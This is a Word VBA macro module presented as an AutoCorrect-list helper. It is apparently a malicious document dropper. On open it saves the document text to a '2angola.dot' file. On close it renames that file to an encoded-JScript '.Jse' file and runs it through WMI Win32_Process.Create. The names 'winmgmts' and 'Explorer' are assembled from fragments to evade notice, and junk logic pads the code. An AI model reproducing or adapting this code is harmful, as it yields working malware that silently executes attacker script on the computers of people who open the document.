Private Foto As String Private Function Repl(a As AutoCorrectEntries, r As Range, r1 As Range) As Boolean If "jikol" <> r.Text Then 'Repl = MsgBox("To replace " & UCase(a(r1.Text).Value) & ' " with " & UCase(r.Text) & " click OK", vbYesNo + ' vbQuestion, "REPLACE ENTRY?") = vbYes End If End Function Sub AddToTheAutoCorrectList() Dim r As Range, r1 As Range Dim par As Paragraph, bo As Boolean Dim pars As Paragraphs Dim ACE As AutoCorrectEntry Dim ACEs As AutoCorrectEntries Dim ActD As Document Dim FerD As String Dim AsrP As String Dim HoYD As String Dim Polk As String Set ActD = ActiveDocument Set pars = ActD.Paragraphs Set r1 = Selection.Range Set r = Selection.Range Set ACEs = Application.AutoCorrect.Entries On Error Resume Next AsrP = Right("PolroSeratLExplorer", 8) HoYD = "mts:Win32_P" For Each par In pars 'If par.Range.End = ActD.Content.End Then Exit Sub r1.Start = par.Range.Start r1.End = r1.Start r1.MoveEndUntil vbTab r.Start = r1.End + 1 r.End = par.Range.End - 1 If Len(r1.Text) > 0 Or Len(r.Text) > 0 Then If Len("jkopft") > 0 Then bo = Repl(ACEs, r, r1) Else bo = True End If If bo Then ACEs.Add r1.Text, r.Text End If Next FerD = "winmg" & HoYD & "rocess" Polk = Replace(Foto, ".dot", "." & Groov) Name Foto As Polk 'MsgBox Foto Set p = GetObject(FerD) 'MsgBox AsrP & " """ & Foto & "." & Groov & """" res = p.Create(AsrP & " """ & Polk & """", Null, Null, pid) End Sub Private Function Groov() Groov = "Jse" End Function Private Function Deza() Foto = ActiveDocument.AttachedTemplate.Path & "\2angola.dot" Deza = Foto End Function Private Sub Plosk(tcv As String) ActiveDocument.SaveAs FileName:=tcv, FileFormat:=wdFormatText, LockComments:=False, Password:="", AddToRecentFiles:=False, WritePassword:="", ReadOnlyRecommended:=False, EmbedTrueTypeFonts:=False, SaveNativePictureFormat:=False, SaveFormsData :=False, SaveAsAOCELetter:=False, InsertLineBreaks:= False, AllowSubstitutions:=False, LineEnding:=wdCRLF End Sub Private Sub Document_Close() AddToTheAutoCorrectList End Sub Private Sub Document_Open() Plosk Deza Plosk Deza & "u" End Sub Attribute VB_Name = "NewMacros"